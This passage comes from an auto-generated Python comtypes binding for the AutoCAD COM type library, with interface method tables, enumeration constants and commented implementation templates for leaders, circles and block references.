docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterMarkSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLineSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ArrowheadType = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadBlock = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return overrideCenterPos\n## def _set(self, overrideCenterPos):\n## '-no docstring-'\n## OverrideCenter = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return jogPos\n## def _set(self, jogPos):\n## '-no docstring-'\n## JogLocation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return JogAngle\n## def _set(self, JogAngle):\n## '-no docstring-'\n## JogAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVar\n## def _set(self, pVar):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ChordPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAcadLeader(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{54C965DD-56EA-418F-9B10-DD9CDF43FCDB}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadLeader._methods_ = [\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(64), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(1537), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(1542), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1542), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(65), 'propget'], HRESULT, 'Type',\n ( ['out', 'retval'], POINTER(AcLeaderType), 'Type' )),\n COMMETHOD([dispid(65), 'propput'], HRESULT, 'Type',\n ( ['in'], AcLeaderType, 'Type' )),\n COMMETHOD([dispid(66)], HRESULT, 'Evaluate'),\n COMMETHOD([dispid(67), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(67), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(68), 'nonbrowsable', 'propget'], HRESULT, 'Annotation',\n ( ['out', 'retval'], POINTER(POINTER(IAcadEntity)), 'pVal' )),\n COMMETHOD([dispid(68), 'nonbrowsable', 'propput'], HRESULT, 'Annotation',\n ( ['in'], POINTER(IAcadEntity), 'pVal' )),\n COMMETHOD([dispid(1543), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(1543), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(69), 'propget'], HRESULT, 'ArrowheadType',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(69), 'propput'], HRESULT, 'ArrowheadType',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(1550), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(1550), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(1553), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'factor' )),\n COMMETHOD([dispid(1553), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'factor' )),\n COMMETHOD([dispid(1554), 'propget'], HRESULT, 'VerticalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimVerticalJustification), 'Type' )),\n COMMETHOD([dispid(1554), 'propput'], HRESULT, 'VerticalTextPosition',\n ( ['in'], AcDimVerticalJustification, 'Type' )),\n COMMETHOD([dispid(1549), 'propget'], HRESULT, 'TextGap',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(1549), 'propput'], HRESULT, 'TextGap',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(70), 'nonbrowsable', 'propget'], HRESULT, 'ArrowheadBlock',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(70), 'nonbrowsable', 'propput'], HRESULT, 'ArrowheadBlock',\n ( ['in'], BSTR, 'BlockName' )),\n]\n################################################################\n## code template for IAcadLeader implementation\n##class IAcadLeader_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Normal(self):\n## '-no docstring-'\n## #return Normal\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Type = property(_get, _set, doc = _set.__doc__)\n##\n## def Evaluate(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Annotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ArrowheadType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## VerticalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## TextGap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadBlock = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcSelect'\nacSelectionSetWindow = 0\nacSelectionSetCrossing = 1\nacSelectionSetFence = 2\nacSelectionSetPrevious = 3\nacSelectionSetLast = 4\nacSelectionSetAll = 5\nacSelectionSetWindowPolygon = 6\nacSelectionSetCrossingPolygon = 7\nAcSelect = c_int # enum\n\n# values for enumeration 'AcHatchStyle'\nacHatchStyleNormal = 0\nacHatchStyleOuter = 1\nacHatchStyleIgnore = 2\nAcHatchStyle = c_int # enum\n\n# values for enumeration 'AcPatternType'\nacHatchPatternTypeUserDefined = 0\nacHatchPatternTypePreDefined = 1\nacHatchPatternTypeCustomDefined = 2\nAcPatternType = c_int # enum\n\n# values for enumeration 'AcLoopType'\nacHatchLoopTypeDefault = 0\nacHatchLoopTypeExternal = 1\nacHatchLoopTypePolyline = 2\nacHatchLoopTypeDerived = 4\nacHatchLoopTypeTextbox = 8\nAcLoopType = c_int # enum\n\n# values for enumeration 'AcCoordinateSystem'\nacWorld = 0\nacUCS = 1\nacDisplayDCS = 2\nacPaperSpaceDCS = 3\nacOCS = 4\nAcCoordinateSystem = c_int # enum\n\n# values for enumeration 'AcSectionSubItem'\nacSectionSubItemkNone = 0\nacSectionSubItemSectionLine = 1\nacSectionSubItemSectionLineTop = 2\nacSectionSubItemSectionLineBottom = 4\nacSectionSubItemBackLine = 8\nacSectionSubItemBackLineTop = 16\nacSectionSubItemBackLineBottom = 32\nacSectionSubItemVerticalLineTop = 64\nacSectionSubItemVerticalLineBottom = 128\nAcSectionSubItem = c_int # enum\nclass IAcadCircle(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{0698888C-3A25-4933-AC73-E394A550279A}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadCircle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'CenterPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'CenterPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Radius',\n ( ['out', 'retval'], POINTER(c_double), 'Radius' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Radius',\n ( ['in'], c_double, 'Radius' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Diameter',\n ( ['out', 'retval'], POINTER(c_double), 'Diameter' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Diameter',\n ( ['in'], c_double, 'Diameter' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Circumference',\n ( ['out', 'retval'], POINTER(c_double), 'Circumference' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Circumference',\n ( ['in'], c_double, 'Circumference' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Area',\n ( ['in'], c_double, 'Area' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(8)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n]\n################################################################\n## code template for IAcadCircle implementation\n##class IAcadCircle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return CenterPoint\n## def _set(self, CenterPoint):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Radius\n## def _set(self, Radius):\n## '-no docstring-'\n## Radius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Diameter\n## def _set(self, Diameter):\n## '-no docstring-'\n## Diameter = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Circumference\n## def _set(self, Circumference):\n## '-no docstring-'\n## Circumference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Area\n## def _set(self, Area):\n## '-no docstring-'\n## Area = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n\n\n# values for enumeration 'AcUnits'\nacDefaultUnits = -1\nacScientific = 1\nacDecimal = 2\nacEngineering = 3\nacArchitectural = 4\nacFractional = 5\nAcUnits = c_int # enum\n\n# values for enumeration 'AcPolylineType'\nacSimplePoly = 0\nacFitCurvePoly = 1\nacQuadSplinePoly = 2\nacCubicSplinePoly = 3\nAcPolylineType = c_int # enum\n\n# values for enumeration 'AcSplineKnotParameterizationType'\nacChord = 0\nacSqrtChord = 1\nacUniformParam = 2\nacCustomParameterization = 15\nAcSplineKnotParameterizationType = c_int # enum\n\n# values for enumeration 'AcBooleanType'\nacUnion = 0\nacIntersection = 1\nacSubtraction = 2\nAcBooleanType = c_int # enum\n\n# values for enumeration 'AcSectionState2'\nacSectionState2Plane = 1\nacSectionState2Slice = 2\nacSectionState2Boundary = 4\nacSectionState2Volume = 8\nAcSectionState2 = c_int # enum\n\n# values for enumeration 'AcSplineFrameType'\nacShow = 0\nacHide = 1\nAcSplineFrameType = c_int # enum\n\n# values for enumeration 'AcViewportSplitType'\nacViewport2Horizontal = 0\nacViewport2Vertical = 1\nacViewport3Left = 2\nacViewport3Right = 3\nacViewport3Horizontal = 4\nacViewport3Vertical = 5\nacViewport3Above = 6\nacViewport3Below = 7\nacViewport4 = 8\nAcViewportSplitType = c_int # enum\n\n# values for enumeration 'AcSectionState'\nacSectionStatePlane = 1\nacSectionStateBoundary = 2\nacSectionStateVolume = 4\nAcSectionState = c_int # enum\n\n# values for enumeration 'AcLoftedSurfaceNormalType'\nacRuled = 0\nacSmooth = 1\nacFirstNormal = 2\nacLastNormal = 3\nacEndsNormal = 4\nacAllNormal = 5\nacUseDraftAngles = 6\nAcLoftedSurfaceNormalType = c_int # enum\nclass AcadTableStyle(CoClass):\n _reg_clsid_ = GUID('{52714180-45EE-43AC-80B0-D69B7940C50D}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadTableStyle(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{E81E0641-8C00-45CC-8986-80F09C4C15E7}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadTableStyle._com_interfaces_ = [IAcadTableStyle]\nAcadTableStyle._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcSplineMethodType'\nacFit = 0\nacControlVertices = 1\nAcSplineMethodType = c_int # enum\nclass AcadSectionSettings(CoClass):\n _reg_clsid_ = GUID('{6951AFB4-324F-4218-82EB-A6476E154B02}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSectionSettings(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{B7BCDFC6-7775-4404-B45A-AEB96749DB9D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSectionSettings._com_interfaces_ = [IAcadSectionSettings]\nAcadSectionSettings._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcRegenType'\nacActiveViewport = 0\nacAllViewports = 1\nAcRegenType = c_int # enum\nclass AcadSectionTypeSettings(CoClass):\n _reg_clsid_ = GUID('{BA697283-3CDA-4918-9AEB-E0E15FC34277}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSectionTypeSettings(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{BB6ECC4B-3C35-4988-8163-039F7958F0A2}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadSectionTypeSettings2(IAcadSectionTypeSettings):\n _case_insensitive_ = True\n _iid_ = GUID('{71B4458E-C4BB-481D-99AC-974235E9683F}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSectionTypeSettings._com_interfaces_ = [IAcadSectionTypeSettings2, IAcadSectionTypeSettings]\nAcadSectionTypeSettings._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadShadowDisplay(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IUnknown):\n _case_insensitive_ = True\n _iid_ = GUID('{7C2F249E-794E-4F59-B9A9-ECCB6FD67FCC}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadShadowDisplay._methods_ = [\n COMMETHOD([dispid(1610678272), 'propget'], HRESULT, 'ShadowDisplay',\n ( ['out', 'retval'], POINTER(AcShadowDisplayType), 'ShadowDisplay' )),\n COMMETHOD([dispid(1610678272), 'propput'], HRESULT, 'ShadowDisplay',\n ( ['in'], AcShadowDisplayType, 'ShadowDisplay' )),\n COMMETHOD([dispid(1610678274), 'propget'], HRESULT, 'EnableShadowDisplay',\n ( ['out', 'retval'], POINTER(c_int), 'ShadowDisplay' )),\n]\n################################################################\n## code template for IAcadShadowDisplay implementation\n##class IAcadShadowDisplay_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return ShadowDisplay\n## def _set(self, ShadowDisplay):\n## '-no docstring-'\n## ShadowDisplay = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def EnableShadowDisplay(self):\n## '-no docstring-'\n## #return ShadowDisplay\n##\n\nIAcadBlockReference._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'XScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'XScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'YScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'YScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'ZScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'ZScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(8)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(9)], HRESULT, 'GetAttributes',\n ( ['out', 'retval'], POINTER(VARIANT), 'pAttrObjs' )),\n COMMETHOD([dispid(10)], HRESULT, 'GetConstantAttributes',\n ( ['out', 'retval'], POINTER(VARIANT), 'pAttrObjs' )),\n COMMETHOD([dispid(11), 'nonbrowsable', 'propget'], HRESULT, 'HasAttributes',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bHas' )),\n COMMETHOD([dispid(512), 'propget'], HRESULT, 'EffectiveName',\n ( ['out', 'retval'], POINTER(BSTR), 'EffectiveName' )),\n COMMETHOD([dispid(513), 'nonbrowsable', 'propget'], HRESULT, 'IsDynamicBlock',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pDynamicBlock' )),\n COMMETHOD([dispid(514)], HRESULT, 'GetDynamicBlockProperties',\n ( ['out', 'retval'], POINTER(VARIANT), 'dynamicPropertyArray' )),\n COMMETHOD([dispid(515)], HRESULT, 'ResetBlock'),\n COMMETHOD([dispid(516)], HRESULT, 'ConvertToAnonymousBlock'),\n COMMETHOD([dispid(517)], HRESULT, 'ConvertToStaticBlock',\n ( ['in'], BSTR, 'newBlockName' )),\n COMMETHOD([dispid(518), 'propget'], HRESULT, 'XEffectiveScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(518), 'propput'], HRESULT, 'XEffectiveScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(519), 'propget'], HRESULT, 'YEffectiveScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(519), 'propput'], HRESULT, 'YEffectiveScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(520), 'propget'], HRESULT, 'ZEffectiveScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(520), 'propput'], HRESULT, 'ZEffectiveScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(521), 'propget'], HRESULT, 'InsUnits',\n ( ['out', 'retval'], POINTER(BSTR), 'Units' )),\n COMMETHOD([dispid(528), 'propget'], HRESULT, 'InsUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n]\n################################################################\n## code template for IAcadBlockReference implementation\n##class IAcadBlockReference_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## XScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## YScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## ZScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def Explode(self):\n## '-no docstring-'\n## 